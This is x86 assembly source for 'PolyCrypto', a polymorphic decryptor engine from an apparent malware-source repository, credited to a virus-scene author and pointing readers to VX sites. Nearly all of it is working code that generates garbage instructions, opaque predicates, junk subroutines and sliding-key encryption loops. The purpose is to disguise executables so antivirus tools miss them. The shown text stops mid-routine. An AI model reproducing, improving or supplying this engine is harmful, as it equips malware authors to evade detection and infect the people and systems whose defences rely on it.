MalwareSourceCode/Libs/Win32/Cryptor/VirTool.Win32.Cryptor.PolyCrypto.inc

1808 lines
40 KiB
PHP
Raw Normal View History

2020-10-16 20:28:58 +00:00
;---------------------------------------------------------------------------------------------------------;
; __ __ ___ __ ___ ;
; / )_ _ / /__)_ / _ _/ (_ / )(_ ;
; /(_/(// /( / / ()/)/)(- / /__(__/ / ;
; / ;
; ;
; __ ;
; /__)_ _ _ _ _/ ;
; / / (-_) (-/)/ ;
; ;
; ;
; _____ ___ ___ ;
; /\ __`\ /'___\ /'___\ __ ;
; \ \ \/\ \ /\ \__/ /\ \__/ __ ___ ____ /\_\ __ __ __ ;
; \ \ \ \ \\ \ ,__\\ \ ,__\ /'__`\ /' _ `\ /',__\\/\ \ /\ \/\ \ /'__`\ ;
; \ \ \_\ \\ \ \_/ \ \ \_//\ __/ /\ \/\ \ /\__, `\\ \ \\ \ \_/ |/\ __/ ;
; \ \_____\\ \_\ \ \_\ \ \____\\ \_\ \_\\/\____/ \ \_\\ \___/ \ \____\ ;
; \/_____/ \/_/ \/_/ \/____/ \/_/\/_/ \/___/ \/_/ \/__/ \/____/ ;
; ;
; ;
; ____ ___ ____ ___ ;
; /\ _`\ /\_ \ /\ _`\ __ /'___`\ ;
; \ \ \L\ \ ___\//\ \ __ __ \ \ \L\_\ ___ __ /\_\ ___ __ /\_\ /\ \ ;
; \ \ ,__// __`\\ \ \ /\ \/\ \ \ \ _\L /' _ `\ /'_ `\\/\ \ /' _ `\ /'__`\ \/_/// /__ ;
; \ \ \//\ \L\ \\_\ \_\ \ \_\ \ \ \ \L\ \/\ \/\ \ /\ \L\ \\ \ \ /\ \/\ \ /\ __/ // /_\ \ ;
; \ \_\\ \____//\____\\/`____ \ \ \____/\ \_\ \_\\ \____ \\ \_\\ \_\ \_\\ \____\ /\______/ ;
; \/_/ \/___/ \/____/ `/___/> \ \/___/ \/_/\/_/ \/___L\ \\/_/ \/_/\/_/ \/____/ \/_____/ ;
; /\___/ /\____/ ;
; \/__/ \_/__/ ;
; ;
; ;
; ;
;v0.8 (beta) public version ;
;---------------------------------------------------------------------------------------------------------;
; Ring3/0 Polymorphic Decryptor Creator
;
; Features
;
;Generates:
;
;Memory Read/Write
;Loops , Predicates
;Subroutines
;
;Realistic Garbage
;Position Independent
;Sliding Key
;
;This is not final version. Many improvements are planned. (Apis , PRIDE , SSE/FPU instructions)
;Watch eof-project.net or vx.netlux.org for new releases
;
;Prophet/EOF(24.8.2009)
;
poly_vars struct
; VARIABLES INITIALIZED BEFORE POLY CALL
poly_ptr_code_base_va dd ? ; virtual-address of encrypted code
poly_ptr_code_base_raw dd ? ; raw-address of encrypted code
poly_ptr_decrypt_buf_va dd ? ; Va of buffer where code will be decrypted (0 if dont move code)
poly_code_size dd ? ; size of code to crypt
poly_code_entry_offset dd ? ; ep offset relative to code_base_va
poly_decryptor_base dd ? ; ptr to buffer where decrytor will be created
poly_decryptor_base_va dd ? ; virtual-address of decryptor base
poly_decryptor_size dd ? ; size of created decryptor
poly_options dd ? ; poly options
poly_garbage_level dd ? ; level of garbage (1-lowest 3-average 5-huge)
poly_read_mem_base dd ? ; va address of readable memory
poly_read_mem_size dd ? ; size of readable memory
; VARIABLES USED DURING POLY ENGINE RUN
poly_algo1 dd ? ; crypt algorythm
poly_algo2 dd ? ; key-sliding algorythm
poly_key dd ? ; encrypt key
poly_slide_key dd ? ; slide key
poly_ptr_reg dd ? ; register used as ptr to memory
poly_key_reg dd ? ; register which is keeping decrypt key
poly_loop_reg dd ? ; loop counter
poly_store_reg dd ? ; used in move-data loop
poly_junk_mem_reg dd ? ; junk mem accesses ptr reg
poly_junk_mem_pos dd ? ; value to which reg was initialized
poly_reg_usage dd ? ; watch register usage
poly_random_seed dd ? ; random seed
poly_garbler_flags dd ? ; keep garbler state
poly_entry_offset dd ? ; offset of poly entry-point relative to poly base
poly_subroutines_count dd ? ; number of poly subs generated
poly_subroutines_table db 1024 DUP(0)
poly_vars ends
;
; Poly Options Flags
;
POLY_OPT_POS_INDEPENDENT equ 1 ; use/dont use delta offset in decryptor
POLY_OPT_STACK_WRITES equ 2 ; (not implemented)
POLY_OPT_MEM_WRITES equ 4 ; ( buggy )
POLY_OPT_USE_SUBROUTINES equ 8 ; generate junk subroutines
POLY_OPT_MEM_ACC_DIRECT equ 16 ; do direct mem accesses (dont use if pe is reloc-able)
POLY_OPT_MINIMAL_GARBAGE equ 32 ; generate minimal amount of garbage
;
; Poly configuration
;
; POLY_DEBUG equ 1 ; poly-debugging regime (comment out to disable)
; POLY_DISABLE_GARBAGE equ 1 ; disable garbage generator (comment out to enable)
POLY_SUBROUTINES_MAX equ 5 ; max count of poly subroutines
POLY_SUBR_PARAMS_MAX equ 6 ; max count of sub arguments
; POLY_ALIGN_SUBR equ 1 ; align subroutines to 0fh (comment out to disable)
POLY_ALIGN_BYTE equ 0cch ; alignment byte
POLY_ESP_ACC_RNG_MAX equ 10 ; max stack access displacement [esp +- random(max) * 4]
POLY_LOOP_ITERATION_MAX equ 10000h ; max loop iterations
POLY_LOOP_ITERATION_MIN equ 1000h ; min loop iterations
;
; Occurence of garbage
;
POLY_OCCUR_LOOP equ 2
POLY_OCCUR_PREDICATE equ 5
POLY_OCCUR_PUSH_POP equ 7
POLY_OCCUR_CALL equ 2
POLY_OCCUR_API equ 0 ; not implemented
POLY_OCCUR_IMM equ 5
POLY_OCCUR_MODRM equ 12
POLY_OCCUR_COUNT equ ( POLY_OCCUR_LOOP + POLY_OCCUR_PREDICATE + POLY_OCCUR_PUSH_POP + POLY_OCCUR_CALL + POLY_OCCUR_API + POLY_OCCUR_IMM + POLY_OCCUR_MODRM )
POLY_MODRM_OCCUR_REG_REG equ 0
POLY_MODRM_OCCUR_MEM equ 0
POLY_MODRM_OCCUR_STACK equ 0
;
; Garbler state flags
;
POLY_FLAG_IN_LOOP equ 1 ; in loop
POLY_FLAG_IN_SUBR equ 2 ; in subroutine
POLY_FLAG_IN_PRED equ 4 ; in predicate
assume ebp:ptr poly_vars
.code
PolyEngineEntry: jmp PolyEngine
PolyGarbleInit: pushad
; check if subroutines flag is set
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_USE_SUBROUTINES
test eax,eax
jz Garble_Init_No_Sub
; create junk subroutines
mov eax,POLY_SUBROUTINES_MAX
call random
test eax,eax
jz PolyGarbleInitEnd
mov ecx,eax
Garble_Init_Loop1: call Garble_Create_funct
loop Garble_Init_Loop1
Garble_Init_No_Sub: mov dword ptr [esp],edi
PolyGarbleInitEnd: popad
retn
;
; Garbage creator for use in poly engine
;
; ESP,EBP must be set as used before calling PolyGarbler
; ebp = ptr to poly struct
; edi = buffer
PolyGarble:
ifndef POLY_DISABLE_GARBAGE
pushad
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MINIMAL_GARBAGE
test eax,eax
jz PolyGarbleNormal
mov ecx,1
jmp PolyGarbleCont1
PolyGarbleNormal: mov ecx,dword ptr [ebp].poly_garbage_level ; deepness of recursivity
imul ecx,3
PolyGarbleCont1: call Garble
mov dword ptr [esp],edi
popad
endif ;POLY_DISABLE_GARBAGE
retn
;
; Recursive Garbler
;
Garble:
mov eax,POLY_OCCUR_COUNT
call random
cmp eax,POLY_OCCUR_PUSH_POP
jb G_Push_Pop
sub eax,POLY_OCCUR_PUSH_POP
cmp eax,POLY_OCCUR_PREDICATE
jb G_Predicate
sub eax,POLY_OCCUR_PREDICATE
cmp eax,POLY_OCCUR_LOOP
jb G_Loop
sub eax,POLY_OCCUR_LOOP
cmp eax,POLY_OCCUR_CALL
jb G_Call
sub eax,POLY_OCCUR_CALL
; cmp eax,POLY_OCCUR_MODRM
cmp eax,POLY_OCCUR_IMM
jb G_Imm
sub eax,POLY_OCCUR_IMM
; cmp eax,POLY_OCCUR_API
call Garble_Create_Modrm
jmp Garble_cont
; loop
G_Loop: call Garble_Loop
jmp Garble_cont
; opaque predicate
G_Predicate: call Garble_Predicate
jmp Garble_cont
; push pop
G_Push_Pop: call Garble_Push_Pop
jmp Garble_cont
G_Modrm: jmp Garble_cont
; immediate
G_Imm: call Garble_Create_Imm
jmp Garble_cont
; call to junk proc
G_Call: call Garble_Sub_Call
Garble_cont: test ecx,ecx
jz GarbleEnd
dec ecx
call Garble
GarbleEnd: retn
;
; Create Opaque predicate
;
Garble_Predicate: cmp ecx,4
jbe Garble_Predict_End
cmp ecx,10
ja Garble_Predict_End ; just temporal solution to short-near problem
call Is_In_Pred
test eax,eax
jnz Garble_Predict_End
mov eax,8
call random
test eax,eax
jnz Garble_Predict_Jcc
; JMP
mov eax,0ebh
stosb
push edi
jmp Garble_Predict_C
Garble_Predict_Jcc: call Garble_Create_Cmp
mov eax,10h
call random
add eax,70h
stosb
push edi
inc edi
Garble_Predict_C: call Set_In_Pred
dec ecx
call Garble ; recursive call
pop ebx
call Set_In_Pred
mov eax,edi
sub eax,ebx
dec eax
mov byte ptr [ebx],al
Garble_Predict_End: retn
;
; Create push/pop
;
Garble_Push_Pop: cmp ecx,2
jbe Garble_Push_Pop_End
call Garble_Create_Push
dec ecx
call Garble ; recursive call
call get_free_reg_32_no_set
cmp eax,-1
jne Garble_Push_Pop_c
mov eax,0004c483h ; no free reg , create add esp,4
stosd
dec edi
jmp Garble_Push_Pop_End
Garble_Push_Pop_c: add al,58h ; pop free reg
stosb
Garble_Push_Pop_End: retn
;
; Generate Loop
;
Garble_Loop: call Is_In_Loop
test eax,eax
jnz Garble_Loop_End
cmp ecx,5
jbe Garble_Loop_End
call get_free_reg_32
cmp eax,-1
je Garble_Loop_End
call Set_In_Loop ; set that we are in loop
mov ebx,eax
mov eax,POLY_LOOP_ITERATION_MAX ; max number of loop iterations
call random
add eax,POLY_LOOP_ITERATION_MIN ; minimal iterations count
push ecx
mov ecx,eax
; initialize loop counter register
call Asm_Mov_Reg_Imm_32
pop ecx
; save loop start
push edi
; save counter register
push ebx
dec ecx
call Garble
pop eax
mov ebx,eax
call unset_reg_32
; dec loop counter
mov al,48h
add al,bl
stosb
; test counter reg
mov al,085h
stosb
mov eax,ebx
rol eax,3
add eax,ebx
add eax,0c0h
stosb
; jcc loop
pop eax
sub eax,edi
push eax
not eax
cmp eax,255 / 2
pop eax
jbe Garble_Loop_Short
; near jcc
sub eax,6
mov word ptr [edi],0850fh
mov dword ptr [edi + 2],eax
add edi,6
jmp Garble_Loop_Cont
; short jcc
Garble_Loop_Short: sub eax,2
mov byte ptr [edi],75h ; jnz
mov byte ptr [edi + 1],al
add edi,2
Garble_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state
Garble_Loop_End: retn
;
; Generate call to poly subroutine
;
Garble_Sub_Call: push ecx
push ebx
cmp dword ptr [ebp].poly_subroutines_count,0
je Garble_Sub_Call_End
call Is_In_Subr ; dont make subroutine call inside subroutine
test eax,eax
jnz Garble_Sub_Call_End
; pick random subroutine from table
mov eax,dword ptr [ebp].poly_subroutines_count
call random
lea eax,[eax * 8]
lea ebx,[ebp].poly_subroutines_table
add ebx,eax
; if junk mem ptr is initialized store it before subroutine call
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Sub_No_Save1
mov ecx,dword ptr [ebp].poly_junk_mem_reg
add ecx,50h
mov byte ptr [edi],cl ; push ptr reg
inc edi
Garble_Sub_No_Save1: mov ecx,dword ptr [ebx + 4] ; number of arguments
test ecx,ecx
jz Garble_Sub_No_Arg
; create fake argument passing
Garble_Sub_Arg: call Garble_Create_Push
loop Garble_Sub_Arg
; create call to function
Garble_Sub_No_Arg: mov eax,dword ptr [ebx]
sub eax,edi
sub eax,5
mov byte ptr [edi],0e8h
inc edi
stosd
; clean stack from arguments (__cdecl)
mov eax,dword ptr [ebx + 4] ; number of function arguments
test eax,eax
jz Garble_Sub_No_Save2
imul eax,4
rol eax,16
add eax,9000c483h
stosd
dec edi
; if junk mem ptr is initialized store it before subroutine call
Garble_Sub_No_Save2: cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Sub_Call_End
mov eax,dword ptr [ebp].poly_junk_mem_reg
add eax,58h
stosb ; pop ptr reg
Garble_Sub_Call_End: pop ebx
pop ecx
retn
;
; Generate Modrm Byte
;
Garble_Create_Modrm_Byte:
push ebx
call get_free_reg_32_no_set
cmp eax,-1
je Modrm_reg1_reg1 ; no free reg
rol eax,3
mov ebx,eax
mov eax,5
call random
test eax,eax
jz Modrm_Reg_Reg
cmp eax,3
jb Modrm_Stack_Read
;
; Mem Access
Modrm_Mem_Acc: mov eax,3 ; 1:2 to do direct mem32 access
call random
test eax,eax
jz Modrm_Mem_Direct
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Modrm_Mem_Direct ; junk mem ptr wasnt initialized , do direct mem32 acc anyway
Modrm_Mem_AccNoDisp: mov eax,dword ptr [ebp].poly_junk_mem_reg
add eax,ebx
stosb
mov eax,dword ptr [ebp].poly_read_mem_size
sub eax,4
call random
add eax,dword ptr [ebp].poly_read_mem_base
mov ebx,eax
sub ebx,dword ptr [ebp].poly_junk_mem_pos
mov eax,6
call random
cmp eax,0
je Modrm_Mem_Disp32
cmp eax,4
jb Modrm_Mem_Disp8
pop ebx
retn
Modrm_Mem_Disp8: add byte ptr [edi - 1],40h
mov byte ptr [edi],bl
inc edi
pop ebx
retn
Modrm_Mem_Disp32: add byte ptr [edi - 1],80h
mov dword ptr [edi],ebx
add edi,4
pop ebx
retn
;
; Direct memory access (mov reg,[mem32])
; only if poly is position independent
Modrm_Mem_Direct: mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_ACC_DIRECT
test eax,eax
jnz Modrm_Stack_Read
cmp dword ptr [ebp].poly_read_mem_base,0
je Modrm_Stack_Read
mov eax,5
add eax,ebx
stosb
mov eax,dword ptr [ebp].poly_read_mem_size
call random
add eax,dword ptr [ebp].poly_read_mem_base
stosd
jmp Modrm_End
;
; Stack Access ( reg,[esp/ebp +- x] )
Modrm_Stack_Read: mov eax,ebx
add eax,45h
mov byte ptr [edi],al
mov eax,2
call random
test eax,eax
jz Modrm_Stack_Ebp
mov byte ptr [edi + 1],24h
sub byte ptr [edi],1
inc edi
Modrm_Stack_Ebp: inc edi
mov eax,POLY_ESP_ACC_RNG_MAX
call random
imul eax,4
mov ebx,eax
mov eax,2 ; +/- disp
call random
test eax,eax
jz Modrm_Stack_DispPos
xor eax,eax
sub eax,ebx
Modrm_Stack_DispPos: mov byte ptr [edi],al
inc edi
jmp Modrm_End
Modrm_Reg_Reg: call get_reg_32_no_stack
add eax,ebx ; free reg
add eax,0c0h
stosb
jmp Modrm_End
; in case when no reg is free to use
Modrm_reg1_reg1: call get_reg_32 ; mov eax/eax
mov ah,al
rol al,3
add al,ah
add al,0c0h
stosb
Modrm_End: pop ebx
retn
;
; Generate CMP/TEST
;
Garble_Create_Cmp: mov eax,4
cmp eax,0
je Garble_Cmp_Imm
cmp eax,1
je Garble_Cmp_Test
Garble_Cmp_Cmp: mov eax,2
call random
add eax,38h
stosb
call Garble_Create_Modrm_Byte
retn
Garble_Cmp_Test: mov eax,2
call random
add eax,84h
stosb
call Garble_Create_Modrm_Byte
retn
Garble_Cmp_Imm: push ebx
push ecx
mov eax,3
call random
mov ebx,eax
add eax,81h
stosb
mov ecx,edi
call Garble_Create_Modrm_Byte
and byte ptr [ecx],11000111b
add byte ptr [ecx],7 SHL 3
mov eax,-1
call random
test ebx,ebx
jnz Garble_Cmp_Imm8
stosd
jmp Garble_Cmp_ImmC
Garble_Cmp_Imm8: stosb
Garble_Cmp_ImmC: pop ecx
pop ebx
retn
;
; Generate Push
;
Garble_Create_Push: mov eax,5
call random
cmp eax,2
jbe Garble_Push_Reg32
cmp eax,3
je Garble_Push_Modrm
Garble_Push_Imm: mov eax,2
call random
push ebx
mov ebx,eax
rol eax,1
add eax,68h
stosb
mov eax,-1
call random
test ebx,ebx
pop ebx
jnz Garble_Push_Imm8
;imm32
stosd
retn
Garble_Push_Imm8: stosb
retn
Garble_Push_Reg32: call get_reg_32
add al,50h
stosb
retn
Garble_Push_Modrm: mov al,0ffh
stosb
push edi
call Garble_Create_Modrm_Byte
pop eax
and byte ptr [eax],11000111b
add byte ptr [eax],6 SHL 3
retn
;
; Generate Modrm instruction
;
;00 ADD
;08 OR
;20 AND
;28 SUB
;30 XOR
;88 MOV
Garble_Create_Modrm: ; 66h prefix ?
mov eax,7
call random
test eax,eax
jnz Garble_Modrm_No_66
mov byte ptr [edi],66h ; WORD PTR
inc edi
Garble_Modrm_No_66: call is_any_free_32 ; do we have any free reg ?
test eax,eax
jz Garble_ModrmNo_Regs
push 08202828h
push 30300000h
push 88888888h
mov ebx,esp
mov eax,12
call random
mov al,byte ptr [ebx + eax]
add al,3
mov ebx,edi
stosb
add esp,12
jmp @f
; create mov reg1,reg1 as no regs are free
Garble_ModrmNo_Regs: mov eax,89h
stosb
@@: call Garble_Create_Modrm_Byte
; test if mem writes are allowed
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_WRITES
test eax,eax
jz Garble_Modrm_Read
mov eax,2
call random
test eax,eax
jnz Garble_Modrm_Read
cmp byte ptr [ebx],8dh ; lea
je Garble_Modrm_Read
mov al,byte ptr [ebx + 1]
and al,11000000b
cmp al,0c0h ; mod reg/reg ?
je Garble_Modrm_Read
mov al,byte ptr [ebx + 1]
and al,111b
cmp al,100b ; sib
je Garble_Modrm_Read
cmp al,101b
jne Garble_Modrm_Write
mov al,byte ptr [ebx + 1]
and al,11000000b
test al,al
jnz Garble_Modrm_Read
; do mem write now
Garble_Modrm_Write: xor byte ptr [ebx],2h
Garble_Modrm_Read: pop ebx
retn
;
; Generate imm instruction
;
Garble_Create_Imm: push ebx
call get_free_reg_32_no_set
mov ebx,eax
cmp eax,-1
je Garble_Create_Imm_E
mov eax,5
call random
test eax,eax
jz Garble_Imm_Init_Ptr
cmp eax,1
jbe Garble_Imm_Inc_Dec
mov eax,0b8h
add eax,ebx
stosb
mov eax,-1
call random
stosd
pop ebx
retn
; c1 group
; 81 83 group
Garble_Imm_Groups: mov eax,4
call random
push 818383c1h
mov al,byte ptr [esp + eax]
add esp,4
stosb
call Garble_Create_Modrm_Byte
pop ebx
retn
; inc/dec reg
Garble_Imm_Inc_Dec: mov eax,2
call random
imul eax,8
add eax,40h
add eax,ebx
stosb
pop ebx
retn
;
; Initialize pointer
Garble_Imm_Init_Ptr: push ecx
call Is_In_Pred ; dont setup ptr in predicate
test eax,eax
jnz Garble_Create_ImmE1
call Is_In_Loop
test eax,eax
jnz Garble_Create_ImmE1 ; dont setup ptr in loop
cmp dword ptr [ebp].poly_read_mem_base,0
je Garble_Create_ImmE1
mov eax,dword ptr [ebp].poly_read_mem_size
cmp eax,10
jb Garble_Create_ImmE1
sub eax,4
call random
add eax,dword ptr [ebp].poly_read_mem_base
mov ecx,eax
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Imm_No_Unset ; reg wasnt set , no need to unset
mov eax,dword ptr [ebp].poly_junk_mem_reg
call unset_reg_32 ; release old ptr register
Garble_Imm_No_Unset: mov dword ptr [ebp].poly_junk_mem_reg,ebx
mov dword ptr [ebp].poly_junk_mem_pos,ecx
push eax
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_ACC_DIRECT
test eax,eax
pop eax
jz Grable_Imm_indir
call Asm_Mov_Reg_Imm_32 ; FIX HERE call Asm_Init_Ptr
jmp @f
Grable_Imm_indir: call Asm_Init_Ptr
@@: mov eax,ebx
call set_reg_32
Garble_Create_ImmE1: pop ecx
Garble_Create_Imm_E: pop ebx
retn
;
; Create Junk Function
;
Garble_Create_funct:
push ebx
push ecx
mov eax,dword ptr [ebp].poly_subroutines_count
imul eax,8
lea ebx,[ebp].poly_subroutines_table
add ebx,eax
mov dword ptr [ebx],edi ; store subroutine entry to table
mov eax,POLY_SUBR_PARAMS_MAX
call random
mov dword ptr [ebx + 4],eax ; number of sub params
inc dword ptr [ebp].poly_subroutines_count
; init stack frame
mov byte ptr [edi],55h ; push ebp
mov word ptr [edi + 1],0ec8bh ; mov ebp,esp
add edi,3
mov eax,dword ptr [ebp].poly_garbage_level
imul eax,2
call random
inc eax
mov ecx,eax
call Set_In_Subr ; set in subroutine flag
mov ebx,dword ptr [ebp].poly_reg_usage ; store reg usage
Create_Funct_Loop: call PolyGarble
loop Create_Funct_Loop
call Set_In_Subr
mov dword ptr [ebp].poly_reg_usage,ebx ; restore reg usage
mov byte ptr [edi],5dh ; pop ebp
mov byte ptr [edi + 1],0c3h ; retn
add edi,2
ifdef POLY_ALIGN_SUBR
; now do the compiler-like 16 align
xor ecx,ecx
sub ecx,edi
and ecx,0fh
mov al,POLY_ALIGN_BYTE
test ecx,ecx
jz Create_align_End
rep stosb
endif ; POLY_ALIGN_SUBR ;
Create_align_End: xor eax,eax
mov dword ptr [ebp].poly_junk_mem_reg,eax ; clear initialized junk mem ptr
mov dword ptr [ebp].poly_junk_mem_pos,eax
pop ecx
pop ebx
retn
;
; Standalone Garbage Creator
;
; for external use
; eax = ptr poly_vars
; ecx = amount of garbage
PolyCreateGarbage: pushad
mov ebp,eax
call PolyInit
call PolyGarbleInit
mov edi,dword ptr [ebp].poly_decryptor_base
mov eax,edi
test ecx,ecx
jz @end
@@: call PolyGarble ; Internal poly garbler
loop @b
sub edi,eax
mov dword ptr [ebp].poly_decryptor_size,edi
mov dword ptr [esp + 1ch],edi ;save size to eax
@end: popad
retn
;
; Poly initialization routine
;
; ebp = ptr poly_vars
PolyInit: pushad
; fill poly state memory with zeroes
xor eax,eax
mov ecx,15
lea edi,[ebp].poly_algo1
rep stosd
; set esp,ebp as used regs
mov eax,4
call set_reg_32
inc eax
call set_reg_32
; init random seed
rdtsc
mov dword ptr [ebp].poly_random_seed,eax
popad
retn
;
; PolyEngine
;
; *Create linear decryptor with slide key
;
; _in eax = ptr to poly struct
; _out eax = size of decryptor
PolyEngine: pushad
mov ebp,eax
assume ebp:ptr poly_vars
call PolyInit
; choose operations which will be used (xor,add,sub)
mov eax,3
call random
mov dword ptr [ebp].poly_algo1,eax ; crypt algo
mov eax,2
call random
inc eax ; add/sub only
mov dword ptr [ebp].poly_algo2,eax ; slide algo
; choose registers
call get_free_reg_32
mov dword ptr [ebp].poly_ptr_reg,eax
call get_free_reg_32
mov dword ptr [ebp].poly_key_reg,eax
call get_free_reg_32
mov dword ptr [ebp].poly_loop_reg,eax
call generate_key_32
mov dword ptr [ebp].poly_slide_key,eax
; apply encryption to data
call generate_key_32
call crypt_data
mov dword ptr [ebp].poly_key,eax
; start generating decryptor code
mov edi,dword ptr [ebp].poly_decryptor_base
; intialize poly garbler
call PolyGarbleInit
; save poly entry
mov eax,edi
sub eax,dword ptr [ebp].poly_decryptor_base
mov dword ptr [ebp].poly_entry_offset,eax
; CREATE STACK FRAME FOR DECRYPTOR
mov byte ptr [edi],55h ; push ebp
mov word ptr [edi + 1],0ec8bh ; mov ebp,esp
add edi,3
; GARBLE
call PolyGarble
;
; ASSEMBLE MOVE DATA LOOP
;
; this loop is used when data are decrypted
; to different location in memory than their initial position is
; to activate this behaviour , set poly_vars.poly_ptr_decrypt_buf_va
call Asm_Move_Data_Loop
;
; INIT VALUES FOR DECRYPTOR
;
; init decrypt key in reg
mov ebx,dword ptr [ebp].poly_key_reg
mov ecx,dword ptr [ebp].poly_key
call Asm_Mov_Reg_Imm_32
; GARBLE
call PolyGarble
; init decrypt buffer ptr
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
test ecx,ecx
jnz @f
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
@@: mov ebx,dword ptr [ebp].poly_ptr_reg
add ecx,dword ptr [ebp].poly_code_size
dec ecx
call Asm_Init_Ptr
; GARBLE
call PolyGarble
; init loop counter
mov ebx,dword ptr [ebp].poly_loop_reg
mov ecx,dword ptr [ebp].poly_code_size
call Asm_Mov_Reg_Imm_32
; GARBLE
call PolyGarble
call Set_In_Loop ; set in-loop garbler state
; GENERATE POLY DECRYPTION LOOP
mov esi,edi ; loop_base
call PolyGarble
; OPERATION (xor/add/sub [ptr_reg],key_reg )
mov eax,290131h
mov ecx,dword ptr [ebp].poly_algo1
imul ecx,8
ror eax,cl
mov byte ptr [edi],al
; (key_reg << 3) + ptr_reg;
mov eax,dword ptr [ebp].poly_key_reg
rol eax,3
add eax,dword ptr [ebp].poly_ptr_reg
mov byte ptr [edi + 1],al
add edi,2
; GARBLE
call PolyGarble
; KEY SLIDE (xor/add/sub key_reg,slide_key)
mov byte ptr [edi],081h
mov eax,050006h ; ( xor/add/sub )
mov ecx,dword ptr [ebp].poly_algo2
imul ecx,8
ror eax,cl
rol eax,3
add eax,dword ptr [ebp].poly_key_reg
add eax,0c0h
mov byte ptr [edi + 1],al
mov eax,dword ptr [ebp].poly_slide_key
mov dword ptr [edi + 2],eax
add edi,6
; GARBLE
call PolyGarble
; dec ptr
mov eax,48h
add eax,dword ptr [ebp].poly_ptr_reg
stosb
; GARBLE
call PolyGarble
; ASSEMBLE LOOP
; dec counter reg
mov eax,48h
add eax,dword ptr [ebp].poly_loop_reg
stosb
;
; Decrypt Loop
;
; test counter reg
mov al,085h
stosb
mov eax,dword ptr [ebp].poly_loop_reg
rol eax,3
add eax,dword ptr [ebp].poly_loop_reg
add eax,0c0h
stosb
; jcc loop
mov eax,esi ; esi = loop start
sub eax,edi
push eax
not eax
cmp eax,255 / 2
pop eax
jbe Poly_Loop_Short
; near jcc
sub eax,6
mov word ptr [edi],0850fh
mov dword ptr [edi + 2],eax
add edi,6
jmp Poly_Loop_Cont
; short jcc
Poly_Loop_Short: sub eax,2
mov byte ptr [edi],75h ; jnz
mov byte ptr [edi + 1],al
add edi,2
Poly_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state
; free regs used in decrypt loop
mov eax,dword ptr [ebp].poly_key_reg
call unset_reg_32
mov eax,dword ptr [ebp].poly_ptr_reg
call unset_reg_32
mov eax,dword ptr [ebp].poly_loop_reg
call unset_reg_32
; GARBLE
call PolyGarble
ifndef POLY_DEBUG
; GENERATE JUMP TO NEXT LAYER
call Asm_Jmp_Next_Layer
else
mov ax,0c35dh
stosw
endif ; POLY_DEBUG
mov eax,edi
sub eax,dword ptr [ebp].poly_decryptor_base
mov dword ptr [esp + 1ch],eax
popad
retn
;
; Assemble Mov Reg,Imm32
;
; in:
; ebx = reg
; ecx = value
; edi = buffer
Asm_Mov_Reg_Imm_32: mov eax,3
call random
cmp eax,0
je mov_lea
cmp eax,1
je mov_push_pop
; mov reg imm32
mov_reg_imm32: mov byte ptr [edi],0b8h
add byte ptr [edi],bl
mov dword ptr [edi + 1],ecx
add edi,5
retn
mov_push_pop: mov al,68h
stosb
mov eax,ecx
stosd
mov eax,ebx
add eax,58h
stosb
retn
mov_lea: mov eax,ebx
rol eax,11
add eax,058dh
stosw
mov eax,ecx
stosd
retn
;
; Create Poly Delta Routine
;
; eax = register
; edi = buffer
Asm_Poly_Delta: push ebx
push ecx
mov ecx,eax
mov byte ptr [edi],0e8h
inc edi
mov ebx,edi
stosd
call Set_In_Pred ; avoid ptr init in delta call
call PolyGarble
call Set_In_Pred
mov eax,edi
sub eax,ebx
sub eax,4
mov dword ptr [ebx],eax
add ebx,3 ; not 4
mov eax,ecx
add al,58h
stosb
mov eax,ecx
add al,0c0h
rol eax,8
add eax,081h
stosw
mov eax,ebx ; ebx = call delta + 5
sub eax,dword ptr [ebp].poly_decryptor_base
add eax,dword ptr [ebp].poly_decryptor_base_va
not eax
stosd
pop ecx
pop ebx
retn
;
; Initialize Pointer Register
;
;ebx = reg
;ecx = value
;edi = buffer
Asm_Init_Ptr: mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_POS_INDEPENDENT
test eax,eax
jz Asm_Init_No_Delta
mov eax,ebx
; push edx
; mov edx,dword ptr [ebp].poly_decryptor_base_va
call Asm_Poly_Delta
; pop edx
; add reg val
mov al,081h
mov ah,bl
add ah,0c0h
stosw
mov eax,ecx
stosd
retn
Asm_Init_No_Delta: call Asm_Mov_Reg_Imm_32
retn
;edi = buffer
Asm_Jmp_Next_Layer: push ebx
push ecx
push edx
; if poly_decryptor_base_va isnt set
; make the transfer instruction relative (call/jmp... rel32)
cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0
je Asm_Relative
call get_free_reg_32
mov ebx,eax
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
test ecx,ecx
jnz @f
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
@@: add ecx,dword ptr [ebp].poly_code_entry_offset
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_POS_INDEPENDENT
test eax,eax
jnz Asm_Jmp_Layer_Delta
call Asm_Mov_Reg_Imm_32
jmp Asm_Jmp_C
Asm_Jmp_Layer_Delta: mov eax,ebx
; mov edx,dword ptr [ebp].poly_ptr_code_base_va
call Asm_Poly_Delta
mov al,81h
stosb
mov eax,0c0h
add eax,ebx
stosb
mov eax,ecx
stosd
Asm_Jmp_C: mov eax,50h
add eax,ebx
stosb
call PolyGarble
mov eax,0c3h
stosb
@@: pop edx
pop ecx
pop ebx
retn
; call rel32
Asm_Relative: mov al,0e8h
stosb
mov eax,dword ptr [ebp].poly_ptr_code_base_raw
add eax,dword ptr [ebp].poly_code_entry_offset
sub eax,edi
sub eax,4
stosd
call PolyGarble
call PolyGarble
mov eax,0c3h
stosb
jmp @b
;
; Assemble Move Data Loop
;
Asm_Move_Data_Loop: pushad
cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0
je Asm_Move_Data_End
; init store reg
call get_free_reg_32
cmp eax,-1
je Asm_Move_Data_End ; we got problem here
mov dword ptr [ebp].poly_store_reg,eax
call PolyGarble
; init src ptr
